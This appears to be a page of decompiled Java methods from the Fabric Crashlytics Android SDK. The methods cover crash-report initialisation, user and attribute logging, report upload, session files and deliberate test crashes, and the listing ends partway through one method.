43
44
45
46
47
48

run

Java Code
public void run() {
    try {
        runnable.run();
    } catch (Exception e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to execute task.", e);
    }
}



36
37
38
39
40
41
42

submit

Java Code
<T> Future<T> submit(final Callable<T> callable) {
    try {
        return this.executorService.submit(new Callable<T>() {
            public T call() throws Exception {
                try {
                    return callable.call();
                } catch (Exception e) {
                    Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to execute task.", e);
                    return null;
                }
            }
        });
    } catch (RejectedExecutionException e) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Executor is shut down because we're handling a fatal crash.");
        return null;
    }
}



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

call

Java Code
public T call() throws Exception {
    try {
        return callable.call();
    } catch (Exception e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Failed to execute task.", e);
        return null;
    }
}



53
54
55
56
57
58
59
60

MiddleOutStrategy

Java Code
public MiddleOutStrategy(int trimmedSize) {
    this.trimmedSize = trimmedSize;
}



6
7
8

getTrimmedStackTrace

Java Code
public StackTraceElement[] getTrimmedStackTrace(StackTraceElement[] stacktrace) {
    if (stacktrace.length <= this.trimmedSize) {
        return stacktrace;
    }
    int backHalf = this.trimmedSize / 2;
    int frontHalf = this.trimmedSize - backHalf;
    StackTraceElement[] trimmed = new StackTraceElement[this.trimmedSize];
    System.arraycopy(stacktrace, 0, trimmed, 0, frontHalf);
    System.arraycopy(stacktrace, stacktrace.length - backHalf, trimmed, frontHalf, backHalf);
    return trimmed;
}



10
11
12
13
14
15
16
17
18
19
20

CrashlyticsCore

Java Code
public CrashlyticsCore() {
    this(CLS_DEFAULT_PROCESS_DELAY, null, null, false);
}



147
148
149

CrashlyticsCore

Java Code
CrashlyticsCore(float delay, CrashlyticsListener listener, PinningInfoProvider pinningInfo, boolean disabled) {
    this(delay, listener, pinningInfo, disabled, ExecutorUtils.buildSingleThreadExecutorService("Crashlytics Exception Handler"));
}



151
152
153

CrashlyticsCore

Java Code
CrashlyticsCore(float delay, CrashlyticsListener listener, PinningInfoProvider pinningInfo, boolean disabled, ExecutorService crashHandlerExecutor) {
    this.userId = null;
    this.userEmail = null;
    this.userName = null;
    this.delay = delay;
    if (listener == null) {
        listener = new NoOpListener();
    }
    this.listener = listener;
    this.pinningInfo = pinningInfo;
    this.disabled = disabled;
    this.backgroundWorker = new CrashlyticsBackgroundWorker(crashHandlerExecutor);
    this.attributes = new ConcurrentHashMap();
    this.startTime = System.currentTimeMillis();
}



155
156
157
158
159
160
161
162
163
164
165
166
167
168
169

onPreExecute

Java Code
protected boolean onPreExecute() {
    return onPreExecute(super.getContext());
}



171
172
173

onPreExecute

Java Code
boolean onPreExecute(Context context) {
    if (this.disabled) {
        return false;
    }
    String apiKey = new ApiKey().getValue(context);
    if (apiKey == null) {
        return false;
    }
    String buildId = CommonUtils.resolveBuildId(context);
    if (isBuildIdValid(buildId, CommonUtils.getBooleanResourceValue(context, CRASHLYTICS_REQUIRE_BUILD_ID, true))) {
        try {
            Fabric.getLogger().i(TAG, "Initializing Crashlytics " + getVersion());
            FileStore fileStore = new FileStoreImpl(this);
            this.crashMarker = new CrashlyticsFileMarker(CRASH_MARKER_FILE_NAME, fileStore);
            this.initializationMarker = new CrashlyticsFileMarker(INITIALIZATION_MARKER_FILE_NAME, fileStore);
            PreferenceManager preferenceManager = PreferenceManager.create(new PreferenceStoreImpl(getContext(), PREFERENCE_STORE_NAME), this);
            CrashlyticsPinningInfoProvider infoProvider = this.pinningInfo != null ? new CrashlyticsPinningInfoProvider(this.pinningInfo) : null;
            this.httpRequestFactory = new DefaultHttpRequestFactory(Fabric.getLogger());
            this.httpRequestFactory.setPinningInfoProvider(infoProvider);
            IdManager idManager = getIdManager();
            AppData appData = AppData.create(context, idManager, apiKey, buildId);
            UnityVersionProvider unityVersionProvider = new ManifestUnityVersionProvider(context, appData.packageName);
            Fabric.getLogger().d(TAG, "Installer package name is: " + appData.installerPackageName);
            this.controller = new CrashlyticsController(this, this.backgroundWorker, this.httpRequestFactory, idManager, preferenceManager, fileStore, appData, unityVersionProvider, new FirebaseInfo().isFirebaseCrashlyticsEnabled(context));
            boolean initializeSynchronously = didPreviousInitializationFail();
            checkForPreviousCrash();
            this.controller.enableExceptionHandling(Thread.getDefaultUncaughtExceptionHandler());
            if (initializeSynchronously && CommonUtils.canTryConnection(context)) {
                Fabric.getLogger().d(TAG, "Crashlytics did not finish previous background initialization. Initializing synchronously.");
                finishInitSynchronously();
                return false;
            }
            Fabric.getLogger().d(TAG, "Exception handling initialization successful");
            return true;
        } catch (Exception e) {
            Fabric.getLogger().e(TAG, "Crashlytics was not started due to an exception during initialization", e);
            this.controller = null;
            return false;
        }
    }
    throw new UnmetDependencyException(MISSING_BUILD_ID_MSG);
}



175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216

doInBackground

Java Code
protected Void doInBackground() {
    markInitializationStarted();
    SessionEventData crashEventData = getExternalCrashEventData();
    if (crashEventData != null) {
        this.controller.writeExternalCrashEvent(crashEventData);
    }
    this.controller.cleanInvalidTempFiles();
    try {
        SettingsData settingsData = Settings.getInstance().awaitSettingsData();
        if (settingsData == null) {
            Fabric.getLogger().w(TAG, "Received null settings, skipping report submission!");
        } else if (settingsData.featuresData.collectReports) {
            if (!this.controller.finalizeSessions(settingsData.sessionData)) {
                Fabric.getLogger().d(TAG, "Could not finalize previous sessions.");
            }
            this.controller.submitAllReports(this.delay, settingsData);
            markInitializationComplete();
        } else {
            Fabric.getLogger().d(TAG, "Collection of crash reports disabled in Crashlytics settings.");
            markInitializationComplete();
        }
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Crashlytics encountered a problem during asynchronous initialization.", e);
    } finally {
        markInitializationComplete();
    }
    return null;
}



218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245

getIdentifier

Java Code
public String getIdentifier() {
    return "com.crashlytics.sdk.android.crashlytics-core";
}



247
248
249

getVersion

Java Code
public String getVersion() {
    return "2.4.1.19";
}



251
252
253

getInstance

Java Code
public static CrashlyticsCore getInstance() {
    return (CrashlyticsCore) Fabric.getKit(CrashlyticsCore.class);
}



255
256
257

getPinningInfoProvider

Java Code
public PinningInfoProvider getPinningInfoProvider() {
    return !this.disabled ? this.pinningInfo : null;
}



259
260
261

logException

Java Code
public void logException(Throwable throwable) {
    if (this.disabled || !ensureFabricWithCalled("prior to logging exceptions.")) {
        return;
    }
    if (throwable == null) {
        Fabric.getLogger().log(5, TAG, "Crashlytics is ignoring a request to log a null exception.");
    } else {
        this.controller.writeNonFatalException(Thread.currentThread(), throwable);
    }
}



263
264
265
266
267
268
269
270
271
272

log

Java Code
public void log(String msg) {
    doLog(3, TAG, msg);
}



274
275
276

doLog

Java Code
private void doLog(int priority, String tag, String msg) {
    if (!this.disabled && ensureFabricWithCalled("prior to logging messages.")) {
        this.controller.writeToLog(System.currentTimeMillis() - this.startTime, formatLogMessage(priority, tag, msg));
    }
}



278
279
280
281
282

log

Java Code
public void log(int priority, String tag, String msg) {
    doLog(priority, tag, msg);
    Fabric.getLogger().log(priority, "" + tag, "" + msg, true);
}



284
285
286
287

setUserIdentifier

Java Code
public void setUserIdentifier(String identifier) {
    if (!this.disabled && ensureFabricWithCalled("prior to setting user data.")) {
        this.userId = sanitizeAttribute(identifier);
        this.controller.cacheUserData(this.userId, this.userName, this.userEmail);
    }
}



289
290
291
292
293
294

setUserName

Java Code
public void setUserName(String name) {
    if (!this.disabled && ensureFabricWithCalled("prior to setting user data.")) {
        this.userName = sanitizeAttribute(name);
        this.controller.cacheUserData(this.userId, this.userName, this.userEmail);
    }
}



296
297
298
299
300
301

setUserEmail

Java Code
public void setUserEmail(String email) {
    if (!this.disabled && ensureFabricWithCalled("prior to setting user data.")) {
        this.userEmail = sanitizeAttribute(email);
        this.controller.cacheUserData(this.userId, this.userName, this.userEmail);
    }
}



303
304
305
306
307
308

setString

Java Code
public void setString(String key, String value) {
    if (this.disabled || !ensureFabricWithCalled("prior to setting keys.")) {
        return;
    }
    if (key == null) {
        Context context = getContext();
        if (context == null || !CommonUtils.isAppDebuggable(context)) {
            Fabric.getLogger().e(TAG, "Attempting to set custom attribute with null key, ignoring.", null);
            return;
        }
        throw new IllegalArgumentException("Custom attribute key must not be null.");
    }
    key = sanitizeAttribute(key);
    if (this.attributes.size() < 64 || this.attributes.containsKey(key)) {
        this.attributes.put(key, value == null ? "" : sanitizeAttribute(value));
        this.controller.cacheKeyData(this.attributes);
        return;
    }
    Fabric.getLogger().d(TAG, "Exceeded maximum number of custom attributes (64)");
}



310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329

setBool

Java Code
public void setBool(String key, boolean value) {
    setString(key, Boolean.toString(value));
}



331
332
333

setDouble

Java Code
public void setDouble(String key, double value) {
    setString(key, Double.toString(value));
}



335
336
337

setFloat

Java Code
public void setFloat(String key, float value) {
    setString(key, Float.toString(value));
}



339
340
341

setInt

Java Code
public void setInt(String key, int value) {
    setString(key, Integer.toString(value));
}



343
344
345

setLong

Java Code
public void setLong(String key, long value) {
    setString(key, Long.toString(value));
}



347
348
349

crash

Java Code
public void crash() {
    new CrashTest().indexOutOfBounds();
}



351
352
353

verifyPinning

Java Code
public boolean verifyPinning(URL url) {
    try {
        return internalVerifyPinning(url);
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Could not verify SSL pinning", e);
        return false;
    }
}



355
356
357
358
359
360
361
362

setListener

Java Code
public synchronized void setListener(CrashlyticsListener listener) {
    Fabric.getLogger().w(TAG, "Use of setListener is deprecated.");
    if (listener == null) {
        throw new IllegalArgumentException("listener must not be null.");
    }
    this.listener = listener;
}



365
366
367
368
369
370
371

getAttributes

Java Code
Map<String, String> getAttributes() {
    return Collections.unmodifiableMap(this.attributes);
}



373
374
375

getController

Java Code
CrashlyticsController getController() {
    return this.controller;
}



377
378
379

getUserIdentifier

Java Code
String getUserIdentifier() {
    return getIdManager().canCollectUserIds() ? this.userId : null;
}



381
382
383

getUserEmail

Java Code
String getUserEmail() {
    return getIdManager().canCollectUserIds() ? this.userEmail : null;
}



385
386
387

getUserName

Java Code
String getUserName() {
    return getIdManager().canCollectUserIds() ? this.userName : null;
}



389
390
391

finishInitSynchronously

Java Code
private void finishInitSynchronously() {
    PriorityCallable<Void> callable = new PriorityCallable<Void>() {
        public Void call() throws Exception {
            return CrashlyticsCore.this.doInBackground();
        }
        public Priority getPriority() {
            return Priority.IMMEDIATE;
        }
    };
    for (Task task : getDependencies()) {
        callable.addDependency(task);
    }
    Future<Void> future = getFabric().getExecutorService().submit(callable);
    Fabric.getLogger().d(TAG, "Crashlytics detected incomplete initialization on previous app launch. Will initialize synchronously.");
    try {
        future.get(4, TimeUnit.SECONDS);
    } catch (InterruptedException e) {
        Fabric.getLogger().e(TAG, "Crashlytics was interrupted during initialization.", e);
    } catch (ExecutionException e2) {
        Fabric.getLogger().e(TAG, "Problem encountered during Crashlytics initialization.", e2);
    } catch (TimeoutException e3) {
        Fabric.getLogger().e(TAG, "Crashlytics timed out during initialization.", e3);
    }
}



393
394
395
396
397
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417

call

Java Code
public Void call() throws Exception {
    return CrashlyticsCore.this.doInBackground();
}



395
396
397

getPriority

Java Code
public Priority getPriority() {
    return Priority.IMMEDIATE;
}



399
400
401

markInitializationStarted

Java Code
void markInitializationStarted() {
    this.backgroundWorker.submitAndWait(new Callable<Void>() {
        public Void call() throws Exception {
            CrashlyticsCore.this.initializationMarker.create();
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Initialization marker file created.");
            return null;
        }
    });
}



419
420
421
422
423
424
425
426
427

call

Java Code
public Void call() throws Exception {
    CrashlyticsCore.this.initializationMarker.create();
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Initialization marker file created.");
    return null;
}



421
422
423
424
425

markInitializationComplete

Java Code
void markInitializationComplete() {
    this.backgroundWorker.submit(new Callable<Boolean>() {
        public Boolean call() throws Exception {
            try {
                boolean removed = CrashlyticsCore.this.initializationMarker.remove();
                Fabric.getLogger().d(CrashlyticsCore.TAG, "Initialization marker file removed: " + removed);
                return Boolean.valueOf(removed);
            } catch (Exception e) {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "Problem encountered deleting Crashlytics initialization marker.", e);
                return Boolean.valueOf(false);
            }
        }
    });
}



429
430
431
432
433
434
435
436
437
438
439
440
441
442

call

Java Code
public Boolean call() throws Exception {
    try {
        boolean removed = CrashlyticsCore.this.initializationMarker.remove();
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Initialization marker file removed: " + removed);
        return Boolean.valueOf(removed);
    } catch (Exception e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Problem encountered deleting Crashlytics initialization marker.", e);
        return Boolean.valueOf(false);
    }
}



431
432
433
434
435
436
437
438
439
440

didPreviousInitializationFail

Java Code
boolean didPreviousInitializationFail() {
    return ((Boolean) this.backgroundWorker.submitAndWait(new Callable<Boolean>() {
        public Boolean call() throws Exception {



444
445
446

call

Java Code
public Boolean call() throws Exception {
    return Boolean.valueOf(CrashlyticsCore.this.initializationMarker.isPresent());
}



446
447
448

setExternalCrashEventDataProvider

Java Code
void setExternalCrashEventDataProvider(CrashEventDataProvider provider) {
    this.externalCrashEventDataProvider = provider;
}



452
453
454

getExternalCrashEventData

Java Code
SessionEventData getExternalCrashEventData() {
    if (this.externalCrashEventDataProvider != null) {
        return this.externalCrashEventDataProvider.getCrashEventData();
    }
    return null;
}



456
457
458
459
460
461

internalVerifyPinning

Java Code
boolean internalVerifyPinning(URL url) {
    if (getPinningInfoProvider() == null) {
        return false;
    }
    HttpRequest httpRequest = this.httpRequestFactory.buildHttpRequest(HttpMethod.GET, url.toString());
    ((HttpsURLConnection) httpRequest.getConnection()).setInstanceFollowRedirects(false);
    httpRequest.code();
    return true;
}



463
464
465
466
467
468
469
470
471

checkForPreviousCrash

Java Code
private void checkForPreviousCrash() {
    if (Boolean.TRUE.equals((Boolean) this.backgroundWorker.submitAndWait(new CrashMarkerCheck(this.crashMarker)))) {
        try {
            this.listener.crashlyticsDidDetectCrashDuringPreviousExecution();
        } catch (Exception e) {
            Fabric.getLogger().e(TAG, "Exception thrown by CrashlyticsListener while notifying of previous crash.", e);
        }
    }
}



473
474
475
476
477
478
479
480
481

createCrashMarker

Java Code
void createCrashMarker() {
    this.crashMarker.create();
}



483
484
485

formatLogMessage

Java Code
private static String formatLogMessage(int priority, String tag, String msg) {
    return CommonUtils.logPriorityToString(priority) + "/" + tag + " " + msg;
}



487
488
489

ensureFabricWithCalled

Java Code
private static boolean ensureFabricWithCalled(String msg) {
    CrashlyticsCore instance = getInstance();
    if (instance != null && instance.controller != null) {
        return true;
    }
    Fabric.getLogger().e(TAG, "Crashlytics must be initialized by calling Fabric.with(Context) " + msg, null);
    return false;
}



491
492
493
494
495
496
497
498

sanitizeAttribute

Java Code
private static String sanitizeAttribute(String input) {
    if (input == null) {
        return input;
    }
    input = input.trim();
    if (input.length() > MAX_ATTRIBUTE_SIZE) {
        return input.substring(0, MAX_ATTRIBUTE_SIZE);
    }
    return input;
}



500
501
502
503
504
505
506
507
508
509

isBuildIdValid

Java Code
static boolean isBuildIdValid(String buildId, boolean requiresBuildId) {
    if (!requiresBuildId) {
        Fabric.getLogger().d(TAG, "Configured not to require a build ID.");
        return true;
    } else if (!CommonUtils.isNullOrEmpty(buildId)) {
        return true;
    } else {
        Log.e(TAG, ".");
        Log.e(TAG, ".     |  | ");
        Log.e(TAG, ".     |  |");
        Log.e(TAG, ".     |  |");
        Log.e(TAG, ".   \\ |  | /");
        Log.e(TAG, ".    \\    /");
        Log.e(TAG, ".     \\  /");
        Log.e(TAG, ".      \\/");
        Log.e(TAG, ".");
        Log.e(TAG, MISSING_BUILD_ID_MSG);
        Log.e(TAG, ".");
        Log.e(TAG, ".      /\\");
        Log.e(TAG, ".     /  \\");
        Log.e(TAG, ".    /    \\");
        Log.e(TAG, ".   / |  | \\");
        Log.e(TAG, ".     |  |");
        Log.e(TAG, ".     |  |");
        Log.e(TAG, ".     |  |");
        Log.e(TAG, ".");
        return false;
    }
}



511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539

delay

Java Code
public Builder delay(float delay) {
    if (delay <= 0.0f) {
        throw new IllegalArgumentException("delay must be greater than 0");
    } else if (this.delay > 0.0f) {
        throw new IllegalStateException("delay already set.");
    } else {
        this.delay = delay;
        return this;
    }
}



75
76
77
78
79
80
81
82
83
84

listener

Java Code
public Builder listener(CrashlyticsListener listener) {
    if (listener == null) {
        throw new IllegalArgumentException("listener must not be null.");
    } else if (this.listener != null) {
        throw new IllegalStateException("listener already set.");
    } else {
        this.listener = listener;
        return this;
    }
}



86
87
88
89
90
91
92
93
94
95

pinningInfo

Java Code
public Builder pinningInfo(PinningInfoProvider pinningInfoProvider) {
    if (pinningInfoProvider == null) {
        throw new IllegalArgumentException("pinningInfoProvider must not be null.");
    } else if (this.pinningInfoProvider != null) {
        throw new IllegalStateException("pinningInfoProvider already set.");
    } else {
        this.pinningInfoProvider = pinningInfoProvider;
        return this;
    }
}



98
99
100
101
102
103
104
105
106
107

disabled

Java Code
public Builder disabled(boolean isDisabled) {
    this.disabled = isDisabled;
    return this;
}



109
110
111
112

build

Java Code
public CrashlyticsCore build() {
    if (this.delay < 0.0f) {
        this.delay = CrashlyticsCore.CLS_DEFAULT_PROCESS_DELAY;
    }
    return new CrashlyticsCore(this.delay, this.listener, this.pinningInfoProvider, this.disabled);
}



114
115
116
117
118
119

CrashMarkerCheck

Java Code
public CrashMarkerCheck(CrashlyticsFileMarker crashMarker) {
    this.crashMarker = crashMarker;
}



125
126
127

call

Java Code
public Boolean call() throws Exception {
    if (!this.crashMarker.isPresent()) {
        return Boolean.FALSE;
    }
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Found previous crash marker.");
    this.crashMarker.remove();
    return Boolean.TRUE;
}



129
130
131
132
133
134
135
136

NoOpListener

Java Code



crashlyticsDidDetectCrashDuringPreviousExecution

Java Code



getUnityVersion

Java Code



CLSUUID

Java Code
public CLSUUID(IdManager idManager) {
    bytes = new byte[10];
    populateTime(bytes);
    populateSequenceNumber(bytes);
    populatePID(bytes);
    String idSha = CommonUtils.sha1(idManager.getAppInstallIdentifier());
    String timeSeqPid = CommonUtils.hexify(bytes);
    _clsId = String.format(Locale.US, "%s-%s-%s-%s", new Object[]{timeSeqPid.substring(0, 12), timeSeqPid.substring(12, 16), timeSeqPid.subSequence(16, 20), idSha.substring(0, 12)}).toUpperCase(Locale.US);
}



16
17
18
19
20
21
22
23
24

populateTime

Java Code
private void populateTime(byte[] bytes) {
    long time = new Date().getTime();
    long tvUsec = time % 1000;
    byte[] timeBytes = convertLongToFourByteBuffer(time / 1000);
    bytes[0] = timeBytes[0];
    bytes[1] = timeBytes[1];
    bytes[2] = timeBytes[2];
    bytes[3] = timeBytes[3];
    byte[] msecsBytes = convertLongToTwoByteBuffer(tvUsec);
    bytes[4] = msecsBytes[0];
    bytes[5] = msecsBytes[1];
}



26
27
28
29
30
31
32
33
34
35
36
37

populateSequenceNumber

Java Code
private void populateSequenceNumber(byte[] bytes) {
    byte[] sequenceBytes = convertLongToTwoByteBuffer(_sequenceNumber.incrementAndGet());
    bytes[6] = sequenceBytes[0];
    bytes[7] = sequenceBytes[1];
}



39
40
41
42
43

populatePID

Java Code
private void populatePID(byte[] bytes) {
    byte[] pidBytes = convertLongToTwoByteBuffer((long) Integer.valueOf(Process.myPid()).shortValue());
    bytes[8] = pidBytes[0];
    bytes[9] = pidBytes[1];
}



45
46
47
48
49

convertLongToFourByteBuffer

Java Code
private static byte[] convertLongToFourByteBuffer(long value) {
    ByteBuffer buf = ByteBuffer.allocate(4);
    buf.putInt((int) value);
    buf.order(ByteOrder.BIG_ENDIAN);
    buf.position(0);
    return buf.array();
}



51
52
53
54
55
56
57

convertLongToTwoByteBuffer

Java Code
private static byte[] convertLongToTwoByteBuffer(long value) {
    ByteBuffer buf = ByteBuffer.allocate(2);
    buf.putShort((short) ((int) value));
    buf.order(ByteOrder.BIG_ENDIAN);
    buf.position(0);
    return buf.array();
}



59
60
61
62
63
64
65

toString

Java Code
public String toString() {
    return _clsId;
}



67
68
69

DefaultCreateReportSpiCall

Java Code
public DefaultCreateReportSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory) {
    super(kit, protocolAndHostOverride, url, requestFactory, HttpMethod.POST);
}



19
20
21

DefaultCreateReportSpiCall

Java Code
DefaultCreateReportSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory, HttpMethod method) {
    super(kit, protocolAndHostOverride, url, requestFactory, method);
}



23
24
25

invoke

Java Code
public boolean invoke(CreateReportRequest requestData) {
    HttpRequest httpRequest = applyMultipartDataTo(applyHeadersTo(getHttpRequest(), requestData), requestData.report);
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Sending report to: " + getUrl());
    int statusCode = httpRequest.code();
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Create report request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Result was: " + statusCode);
    return ResponseParser.parse(statusCode) == 0;
}



27
28
29
30
31
32
33
34

applyHeadersTo

Java Code
private HttpRequest applyHeadersTo(HttpRequest request, CreateReportRequest requestData) {
    request = request.header(AbstractSpiCall.HEADER_API_KEY, requestData.apiKey).header(AbstractSpiCall.HEADER_CLIENT_TYPE, AbstractSpiCall.ANDROID_CLIENT_TYPE).header(AbstractSpiCall.HEADER_CLIENT_VERSION, this.kit.getVersion());
    for (Entry entry : requestData.report.getCustomHeaders().entrySet()) {
        request = request.header(entry);
    }
    return request;
}



36
37
38
39
40
41
42

applyMultipartDataTo

Java Code
private HttpRequest applyMultipartDataTo(HttpRequest request, Report report) {
    request.part(IDENTIFIER_PARAM, report.getIdentifier());
    if (report.getFiles().length == 1) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Adding single file " + report.getFileName() + " to report " + report.getIdentifier());
        return request.part(FILE_PARAM, report.getFileName(), FILE_CONTENT_TYPE, report.getFile());
    }
    int i = 0;
    for (File file : report.getFiles()) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Adding file " + file.getName() + " to report " + report.getIdentifier());
        request.part(MULTI_FILE_PARAM + i + "]", file.getName(), FILE_CONTENT_TYPE, file);
        i++;
    }
    return request;
}



44
45
46
47
48
49
50
51
52
53
54
55
56
57

accept

Java Code
public boolean accept(File dir, String filename) {
    return filename.endsWith(ClsFileOutputStream.IN_PROGRESS_SESSION_FILE_EXTENSION);
}



13
14
15

ClsFileOutputStream

Java Code
public ClsFileOutputStream(String dir, String fileRoot) throws FileNotFoundException {
    this(new File(dir), fileRoot);
}



22
23
24

ClsFileOutputStream

Java Code
public ClsFileOutputStream(File dir, String fileRoot) throws FileNotFoundException {
    super(new File(dir, fileRoot + IN_PROGRESS_SESSION_FILE_EXTENSION));
    this.closed = false;
    this.root = dir + File.separator + fileRoot;
    this.inProgress = new File(this.root + IN_PROGRESS_SESSION_FILE_EXTENSION);
}



26
27
28
29
30
31

close

Java Code
public synchronized void close() throws IOException {
    if (!this.closed) {
        this.closed = true;
        super.flush();
        super.close();
        File complete = new File(this.root + SESSION_FILE_EXTENSION);
        if (this.inProgress.renameTo(complete)) {
            this.inProgress = null;
            this.complete = complete;
        } else {
            String reason = "";
            if (complete.exists()) {
                reason = " (target already exists)";
            } else if (!this.inProgress.exists()) {
                reason = " (source does not exist)";
            }
            throw new IOException("Could not rename temp file: " + this.inProgress + " -> " + complete + reason);
        }
    }
}



33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

closeInProgressStream

Java Code
public void closeInProgressStream() throws IOException {
    if (!this.closed) {
        this.closed = true;
        super.flush();
        super.close();
    }
}



54
55
56
57
58
59
60

getCompleteFile

Java Code
public File getCompleteFile() {
    return this.complete;
}



62
63
64

getInProgressFile

Java Code
public File getInProgressFile() {
    return this.inProgress;
}



66
67
68

getKeyStorePassword

Java Code



getKeyStoreStream

Java Code



getPins

Java Code



DialogStringResolver

Java Code
public DialogStringResolver(Context context, PromptSettingsData promptData) {
    this.context = context;
    this.promptData = promptData;
}



16
17
18
19

getTitle

Java Code
public String getTitle() {
    return resourceOrFallbackValue(PROMPT_TITLE_RES_NAME, this.promptData.title);
}



21
22
23

getMessage

Java Code
public String getMessage() {
    return resourceOrFallbackValue(PROMPT_MESSAGE_RES_NAME, this.promptData.message);
}



25
26
27

getSendButtonTitle

Java Code
public String getSendButtonTitle() {
    return resourceOrFallbackValue(SUBMISSION_SEND_RES_NAME, this.promptData.sendButtonTitle);
}



29
30
31

getAlwaysSendButtonTitle

Java Code
public String getAlwaysSendButtonTitle() {
    return resourceOrFallbackValue(SUBMISSION_ALWAYS_SEND_RES_NAME, this.promptData.alwaysSendButtonTitle);
}



33
34
35

getCancelButtonTitle

Java Code
public String getCancelButtonTitle() {
    return resourceOrFallbackValue(SUBMISSION_CANCEL_RES_NAME, this.promptData.cancelButtonTitle);
}



37
38
39

resourceOrFallbackValue

Java Code
private String resourceOrFallbackValue(String resourceName, String settingsValue) {
    return stringOrFallback(CommonUtils.getStringsFileValue(this.context, resourceName), settingsValue);
}



41
42
43

stringOrFallback

Java Code
private String stringOrFallback(String firstChoice, String fallback) {
    return isNullOrEmpty(firstChoice) ? fallback : firstChoice;
}



45
46
47

isNullOrEmpty

Java Code
private boolean isNullOrEmpty(String s) {
    return s == null || s.length() == 0;
}



49
50
51

DevicePowerStateListener

Java Code
public DevicePowerStateListener(Context context) {
    int status = -1;
    this.context = context;
    Intent statusIntent = context.registerReceiver(null, FILTER_BATTERY_CHANGED);
    if (statusIntent != null) {
        status = statusIntent.getIntExtra(SettingsJsonConstants.APP_STATUS_KEY, -1);
    }
    boolean z = status == 2 || status == 5;
    this.isPowerConnected = z;
    this.powerConnectedReceiver = new BroadcastReceiver() {
        public void onReceive(Context context, Intent intent) {
            DevicePowerStateListener.this.isPowerConnected = true;
        }
    };
    this.powerDisconnectedReceiver = new BroadcastReceiver() {
        public void onReceive(Context context, Intent intent) {
            DevicePowerStateListener.this.isPowerConnected = false;
        }
    };
    context.registerReceiver(this.powerConnectedReceiver, FILTER_POWER_CONNECTED);
    context.registerReceiver(this.powerDisconnectedReceiver, FILTER_POWER_DISCONNECTED);
    this.receiversRegistered = new AtomicBoolean(true);
}



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

onReceive

Java Code
public void onReceive(Context context, Intent intent) {
    DevicePowerStateListener.this.isPowerConnected = true;
}



30
31
32

onReceive

Java Code
public void onReceive(Context context, Intent intent) {
    DevicePowerStateListener.this.isPowerConnected = false;
}



35
36
37

isPowerConnected

Java Code
public boolean isPowerConnected() {
    return this.isPowerConnected;
}



44
45
46

dispose

Java Code
public void dispose() {
    if (this.receiversRegistered.getAndSet(false)) {
        this.context.unregisterReceiver(this.powerConnectedReceiver);
        this.context.unregisterReceiver(this.powerDisconnectedReceiver);
    }
}



48
49
50
51
52
53

SessionReport

Java Code
public SessionReport(File file) {
    this(file, Collections.emptyMap());
}



14
15
16

SessionReport

Java Code
public SessionReport(File file, Map<String, String> customHeaders) {
    this.file = file;
    this.files = new File[]{file};
    this.customHeaders = new HashMap(customHeaders);
    if (this.file.length() == 0) {
        this.customHeaders.putAll(ReportUploader.HEADER_INVALID_CLS_FILE);
    }
}



18
19
20
21
22
23
24
25

getFile

Java Code
public File getFile() {
    return this.file;
}



27
28
29

getFiles

Java Code
public File[] getFiles() {
    return this.files;
}



31
32
33

getFileName

Java Code
public String getFileName() {
    return getFile().getName();
}



35
36
37

getIdentifier

Java Code
public String getIdentifier() {
    String fileName = getFileName();
    return fileName.substring(0, fileName.lastIndexOf(46));
}



39
40
41
42

getCustomHeaders

Java Code
public Map<String, String> getCustomHeaders() {
    return Collections.unmodifiableMap(this.customHeaders);
}



44
45
46

remove

Java Code
public void remove() {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Removing report at " + this.file.getPath());
    this.file.delete();
}



48
49
50
51

throwRuntimeException

Java Code
public void throwRuntimeException(String message) {
    throw new RuntimeException(message);
}



7
8
9

stackOverflow

Java Code
public int stackOverflow() {
    return stackOverflow() + ((int) Math.random());
}



11
12
13

indexOutOfBounds

Java Code
public void indexOutOfBounds() {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Out of bounds value: " + new int[2][10]);
}



15
16
17

crashAsyncTask

Java Code
public void crashAsyncTask(final long delayMs) {
    new AsyncTask<Void, Void, Void>() {
        protected Void doInBackground(Void... params) {
            try {
                Thread.sleep(delayMs);
            } catch (InterruptedException e) {
            }
            CrashTest.this.throwRuntimeException("Background thread crash");
            return null;
        }
    }.execute(new Void[]{(Void) null});
}



19
20
21
22
23
24
25
26
27
28
29
30

doInBackground

Java Code
protected Void doInBackground(Void... params) {
    try {
        Thread.sleep(delayMs);
    } catch (InterruptedException e) {
    }
    CrashTest.this.throwRuntimeException("Background thread crash");
    return null;
}



21
22
23
24
25
26
27
28

throwFiveChainedExceptions

Java Code
public void throwFiveChainedExceptions() {
    try {
        privateMethodThatThrowsException("1");
    } catch (Exception ex) {
        throw new RuntimeException("2", ex);
    } catch (Exception ex2) {
        try {
            throw new RuntimeException("3", ex2);
        } catch (Exception ex22) {
            try {
